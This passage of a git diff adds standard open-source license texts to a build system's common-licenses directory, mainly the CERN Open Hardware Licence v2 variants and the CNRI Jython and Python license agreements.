+ 3.2 You may modify Covered Source, other than Notices.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2; and
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it.
+
+ 3.4 You may Convey Covered Source or modified Covered Source under
+ licence terms which differ from the terms of this Licence
+ provided that:
+
+ a) You comply at all times with subsection 3.3; and
+
+ b) You provide a copy of this Licence to anyone to whom You
+ Convey Covered Source or modified Covered Source.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You ensure
+that the recipient of the Product has access to any Notices applicable
+to the Product.
+
+
+5 DISCLAIMER AND LIABILITY
+
+ 5.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 5.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+6 Patents
+
+ 6.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in this section 6, or where terminated by the Licensor
+ for cause) patent license to Make, have Made, use, offer to
+ sell, sell, import, and otherwise transfer the Covered Source
+ and Products, where such licence applies only to those patent
+ claims licensable by such Licensor that are necessarily
+ infringed by exercising rights under the Covered Source as
+ Conveyed by that Licensor.
+
+ 6.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+7 General
+
+ 7.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 7.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 7.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 7.4 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-S-2.0 b/meta/files/common-licenses/CERN-OHL-S-2.0
new file mode 100644
index 0000000000..114486fd94
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-S-2.0
@@ -0,0 +1,289 @@
+CERN Open Hardware Licence Version 2 - Strongly Reciprocal
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: CERN-OHL-W (weakly reciprocal) and this
+licence, CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-S is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-S.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S provided that on
+ Conveyance of any such Source, or any associated Product You
+ treat the Source in question as being licensed under
+ CERN-OHL-S.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) as a physical part with sufficient rights and
+ information (including any configuration and
+ programming files and information about its
+ characteristics and interfaces) to enable it either to
+ be Made itself, or to be sourced and used to Make the
+ Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.9 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.10 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.11 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.12 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.13 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+ Including Covered Source in a larger work is modifying the
+ Covered Source, and the larger work becomes modified Covered
+ Source.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it, which remain licensed under their own
+ applicable licences.
+
+
+4 Making and Conveying Products
+
+You may Make Products, and/or Convey them, provided that You either
+provide each recipient with a copy of the Complete Source or ensure
+that each recipient is notified of the Source Location of the Complete
+Source. That Complete Source is Covered Source, and You must
+accordingly satisfy Your obligations set out in subsection 3.3. If
+specified in a Notice, the Product must visibly and securely display
+the Source Location on it or its packaging or documentation in the
+manner specified in that Notice.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CERN-OHL-W-2.0 b/meta/files/common-licenses/CERN-OHL-W-2.0
new file mode 100644
index 0000000000..0f882860af
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-W-2.0
@@ -0,0 +1,310 @@
+CERN Open Hardware Licence Version 2 - Weakly Reciprocal
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: CERN-OHL-P (permissive); and
+two reciprocal licences: this licence, CERN- OHL-W (weakly reciprocal)
+and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-W is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-W.
+
+ 1.2 'Compatible Licence' means
+
+ a) any earlier version of the CERN Open Hardware licence, or
+
+ b) any version of the CERN-OHL-S or the CERN-OHL-W, or
+
+ c) any licence which permits You to treat the Source to which
+ it applies as licensed under CERN-OHL-S or CERN-OHL-W
+ provided that on Conveyance of any such Source, or any
+ associated Product You treat the Source in question as being
+ licensed under CERN-OHL-S or CERN-OHL-W as appropriate.
+
+ 1.3 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.4 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.5 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.6 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.7 'Available Component' means any part, sub-assembly, library or
+ code which:
+
+ a) is licensed to You as Complete Source under a Compatible
+ Licence; or
+
+ b) is available, at the time a Product or the Source containing
+ it is first Conveyed, to You and any other prospective
+ licensees
+
+ i) with sufficient rights and information (including any
+ configuration and programming files and information
+ about its characteristics and interfaces) to enable it
+ either to be Made itself, or to be sourced and used to
+ Make the Product; or
+ ii) as part of the normal distribution of a tool used to
+ design or Make the Product.
+
+ 1.8 'External Material' means anything (including Source) which:
+
+ a) is only combined with Covered Source in such a way that it
+ interfaces with the Covered Source using a documented
+ interface which is described in the Covered Source; and
+
+ b) is not a derivative of or contains Covered Source, or, if it
+ is, it is solely to the extent necessary to facilitate such
+ interfacing.
+
+ 1.9 'Complete Source' means the set of all Source necessary to Make
+ a Product, in the preferred form for making modifications,
+ including necessary installation and interfacing information
+ both for the Product, and for any included Available Components.
+ If the format is proprietary, it must also be made available in
+ a format (if the proprietary tool can create it) which is
+ viewable with a tool available to potential licensees and
+ licensed under a licence approved by the Free Software
+ Foundation or the Open Source Initiative. Complete Source need
+ not include the Source of any Available Component, provided that
+ You include in the Complete Source sufficient information to
+ enable a recipient to Make or source and use the Available
+ Component to Make the Product.
+
+ 1.10 'Source Location' means a location where a Licensor has placed
+ Covered Source, and which that Licensor reasonably believes will
+ remain easily accessible for at least three years for anyone to
+ obtain a digital copy.
+
+ 1.11 'Notice' means copyright, acknowledgement and trademark notices,
+ Source Location references, modification notices (subsection
+ 3.3(b)) and all notices that refer to this Licence and to the
+ disclaimer of warranties that are included in the Covered
+ Source.
+
+ 1.12 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.13 'Licensor' means a natural or legal person who creates or
+ modifies Covered Source. A person may be a Licensee and a
+ Licensor at the same time.
+
+ 1.14 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
+ 3.2 You may modify Covered Source, other than Notices, provided that
+ You irrevocably undertake to make that modified Covered Source
+ available from a Source Location should You Convey a Product in
+ circumstances where the recipient does not otherwise receive a
+ copy of the modified Covered Source. In each case subsection 3.3
+ shall apply.
+
+ You may only delete Notices if they are no longer applicable to
+ the corresponding Covered Source as modified by You and You may
+ add additional Notices applicable to Your modifications.
+
+ 3.3 You may Convey modified Covered Source (with the effect that You
+ shall also become a Licensor) provided that You:
+
+ a) retain Notices as required in subsection 3.2;
+
+ b) add a Notice to the modified Covered Source stating that You
+ have modified it, with the date and brief description of how
+ You have modified it;
+
+ c) add a Source Location Notice for the modified Covered Source
+ if You Convey in circumstances where the recipient does not
+ otherwise receive a copy of the modified Covered Source; and
+
+ d) license the modified Covered Source under the terms and
+ conditions of this Licence (or, as set out in subsection
+ 8.3, a later version, if permitted by the licence of the
+ original Covered Source). Such modified Covered Source must
+ be licensed as a whole, but excluding Available Components
+ contained in it or External Material to which it is
+ interfaced, which remain licensed under their own applicable
+ licences.
+
+
+4 Making and Conveying Products
+
+ 4.1 You may Make Products, and/or Convey them, provided that You
+ either provide each recipient with a copy of the Complete Source
+ or ensure that each recipient is notified of the Source Location
+ of the Complete Source. That Complete Source includes Covered
+ Source and You must accordingly satisfy Your obligations set out
+ in subsection 3.3. If specified in a Notice, the Product must
+ visibly and securely display the Source Location on it or its
+ packaging or documentation in the manner specified in that
+ Notice.
+
+ 4.2 Where You Convey a Product which incorporates External Material,
+ the Complete Source for that Product which You are required to
+ provide under subsection 4.1 need not include any Source for the
+ External Material.
+
+ 4.3 You may license Products under terms of Your choice, provided
+ that such terms do not restrict or attempt to restrict any
+ recipients' rights under this Licence to the Covered Source.
+
+
+5 Research and Development
+
+You may Convey Covered Source, modified Covered Source or Products to
+a legal entity carrying out development, testing or quality assurance
+work on Your behalf provided that the work is performed on terms which
+prevent the entity from both using the Source or Products for its own
+internal purposes and Conveying the Source or Products or any
+modifications to them to any person other than You. Any modifications
+made by the entity shall be deemed to be made by You pursuant to
+subsection 3.2.
+
+
+6 DISCLAIMER AND LIABILITY
+
+ 6.1 DISCLAIMER OF WARRANTY -- The Covered Source and any Products
+ are provided 'as is' and any express or implied warranties,
+ including, but not limited to, implied warranties of
+ merchantability, of satisfactory quality, non-infringement of
+ third party rights, and fitness for a particular purpose or use
+ are disclaimed in respect of any Source or Product to the
+ maximum extent permitted by law. The Licensor makes no
+ representation that any Source or Product does not or will not
+ infringe any patent, copyright, trade secret or other
+ proprietary right. The entire risk as to the use, quality, and
+ performance of any Source or Product shall be with You and not
+ the Licensor. This disclaimer of warranty is an essential part
+ of this Licence and a condition for the grant of any rights
+ granted under this Licence.
+
+ 6.2 EXCLUSION AND LIMITATION OF LIABILITY -- The Licensor shall, to
+ the maximum extent permitted by law, have no liability for
+ direct, indirect, special, incidental, consequential, exemplary,
+ punitive or other damages of any character including, without
+ limitation, procurement of substitute goods or services, loss of
+ use, data or profits, or business interruption, however caused
+ and on any theory of contract, warranty, tort (including
+ negligence), product liability or otherwise, arising in any way
+ in relation to the Covered Source, modified Covered Source
+ and/or the Making or Conveyance of a Product, even if advised of
+ the possibility of such damages, and You shall hold the
+ Licensor(s) free and harmless from any liability, costs,
+ damages, fees and expenses, including claims by third parties,
+ in relation to such use.
+
+
+7 Patents
+
+ 7.1 Subject to the terms and conditions of this Licence, each
+ Licensor hereby grants to You a perpetual, worldwide,
+ non-exclusive, no-charge, royalty-free, irrevocable (except as
+ stated in subsections 7.2 and 8.4) patent license to Make, have
+ Made, use, offer to sell, sell, import, and otherwise transfer
+ the Covered Source and Products, where such licence applies only
+ to those patent claims licensable by such Licensor that are
+ necessarily infringed by exercising rights under the Covered
+ Source as Conveyed by that Licensor.
+
+ 7.2 If You institute patent litigation against any entity (including
+ a cross-claim or counterclaim in a lawsuit) alleging that the
+ Covered Source or a Product constitutes direct or contributory
+ patent infringement, or You seek any declaration that a patent
+ licensed to You under this Licence is invalid or unenforceable
+ then any rights granted to You under this Licence shall
+ terminate as of the date such process is initiated.
+
+
+8 General
+
+ 8.1 If any provisions of this Licence are or subsequently become
+ invalid or unenforceable for any reason, the remaining
+ provisions shall remain effective.
+
+ 8.2 You shall not use any of the name (including acronyms and
+ abbreviations), image, or logo by which the Licensor or CERN is
+ known, except where needed to comply with section 3, or where
+ the use is otherwise allowed by law. Any such permitted use
+ shall be factual and shall not be made so as to suggest any kind
+ of endorsement or implication of involvement by the Licensor or
+ its personnel.
+
+ 8.3 CERN may publish updated versions and variants of this Licence
+ which it considers to be in the spirit of this version, but may
+ differ in detail to address new problems or concerns. New
+ versions will be published with a unique version number and a
+ variant identifier specifying the variant. If the Licensor has
+ specified that a given variant applies to the Covered Source
+ without specifying a version, You may treat that Covered Source
+ as being released under any version of the CERN-OHL with that
+ variant. If no variant is specified, the Covered Source shall be
+ treated as being released under CERN-OHL-S. The Licensor may
+ also specify that the Covered Source is subject to a specific
+ version of the CERN-OHL or any later version in which case You
+ may apply this or any later version of CERN-OHL with the same
+ variant identifier published by CERN.
+
+ You may treat Covered Source licensed under CERN-OHL-W as
+ licensed under CERN-OHL-S if and only if all Available
+ Components referenced in the Covered Source comply with the
+ corresponding definition of Available Component for CERN-OHL-S.
+
+ 8.4 This Licence shall terminate with immediate effect if You fail
+ to comply with any of its terms and conditions.
+
+ 8.5 However, if You cease all breaches of this Licence, then Your
+ Licence from any Licensor is reinstated unless such Licensor has
+ terminated this Licence by giving You, while You remain in
+ breach, a notice specifying the breach and requiring You to cure
+ it within 30 days, and You have failed to come into compliance
+ in all material respects by the end of the 30 day period. Should
+ You repeat the breach after receipt of a cure notice and
+ subsequent reinstatement, this Licence will terminate
+ immediately and permanently. Section 6 shall continue to apply
+ after any termination.
+
+ 8.6 This Licence shall not be enforceable except by a Licensor
+ acting as such, and third party beneficiary rights are
+ specifically excluded.
diff --git a/meta/files/common-licenses/CNRI-Jython b/meta/files/common-licenses/CNRI-Jython
new file mode 100644
index 0000000000..0bfec82d07
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Jython
@@ -0,0 +1,12 @@
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and using JPython version 1.1.x in source or binary form and its associated documentation as provided herein ("Software").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, non-transferable, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that CNRI's License Agreement and CNRI's notice of copyright, i.e., “Copyright (c) 1996-1999 Corporation for National Research Initiatives; All Rights Reserved” are both retained in the Software, alone or in any derivative version prepared by Licensee.
+Alternatively, in lieu of CNRI's License Agreement, Licensee may substitute the following text (omitting the quotes), provided, however, that such text is displayed prominently in the Software alone or in any derivative version prepared by Licensee: “JPython (Version 1.1.x) is made available subject to the terms and conditions in CNRI's License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1006. The License may also be obtained from a proxy server on the Web using the following URL: http://hdl.handle.net/1895.22/1006.”
+3. In the event Licensee prepares a derivative work that is based on or incorporates the Software or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work, in a prominently visible way, the nature of the modifications made to CNRI's Software.
+4. Licensee may not use CNRI trademarks or trade name, including JPython or CNRI, in a trademark sense to endorse or promote products or services of Licensee, or any third party. Licensee may use the mark JPython in connection with Licensee's derivative versions that are based on or incorporate the Software, but only in the form “JPython-based ___________________,” or equivalent.
+5. CNRI is making the Software available to Licensee on an “AS IS” basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+6. CNRI SHALL NOT BE LIABLE TO LICENSEE OR OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME STATES DO NOT ALLOW THE LIMITATION OR EXCLUSION OF LIABILITY SO THE ABOVE DISCLAIMER MAY NOT APPLY TO LICENSEE.
+7. This License Agreement may be terminated by CNRI (i) immediately upon written notice from CNRI of any material breach by the Licensee, if the nature of the breach is such that it cannot be promptly remedied; or (ii) sixty (60) days following notice from CNRI to Licensee of a material remediable breach, if Licensee has not remedied such breach within that sixty-day period.
+8. This License Agreement shall be governed by and interpreted in all respects by the law of the State of Virginia, excluding conflict of law provisions. Nothing in this Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between CNRI and Licensee.
+9. By clicking on the "ACCEPT" button where indicated, or by installing, copying or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement.
diff --git a/meta/files/common-licenses/CNRI-Python b/meta/files/common-licenses/CNRI-Python
new file mode 100644
index 0000000000..64f1298e95
--- /dev/null
+++ b/meta/files/common-licenses/CNRI-Python
@@ -0,0 +1,25 @@
+CNRI OPEN SOURCE LICENSE AGREEMENT
+
+IMPORTANT: PLEASE READ THE FOLLOWING AGREEMENT CAREFULLY.
+
+BY CLICKING ON "ACCEPT" WHERE INDICATED BELOW, OR BY COPYING, INSTALLING OR OTHERWISE USING PYTHON 1.6, beta 1 SOFTWARE, YOU ARE DEEMED TO HAVE AGREED TO THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT.
+
+1. This LICENSE AGREEMENT is between the Corporation for National Research Initiatives, having an office at 1895 Preston White Drive, Reston, VA 20191 ("CNRI"), and the Individual or Organization ("Licensee") accessing and otherwise using Python 1.6, beta 1 software in source or binary form and its associated documentation, as released at the www.python.org Internet site on August 4, 2000 ("Python 1.6b1").
+
+2. Subject to the terms and conditions of this License Agreement, CNRI hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 1.6b1 alone or in any derivative version, provided, however, that CNRIs License Agreement is retained in Python 1.6b1, alone or in any derivative version prepared by Licensee.
+
+Alternately, in lieu of CNRIs License Agreement, Licensee may substitute the following text (omitting the quotes): "Python 1.6, beta 1, is made available subject to the terms and conditions in CNRIs License Agreement. This Agreement may be located on the Internet using the following unique, persistent identifier (known as a handle): 1895.22/1011. This Agreement may also be obtained from a proxy server on the Internet using the URL:http://hdl.handle.net/1895.22/1011".
+
+3. In the event Licensee prepares a derivative work that is based on or incorporates Python 1.6b1 or any part thereof, and wants to make the derivative work available to the public as provided herein, then Licensee hereby agrees to indicate in any such work the nature of the modifications made to Python 1.6b1.
+
+4. CNRI is making Python 1.6b1 available to Licensee on an "AS IS" basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6b1 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF USING, MODIFYING OR DISTRIBUTING PYTHON 1.6b1, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
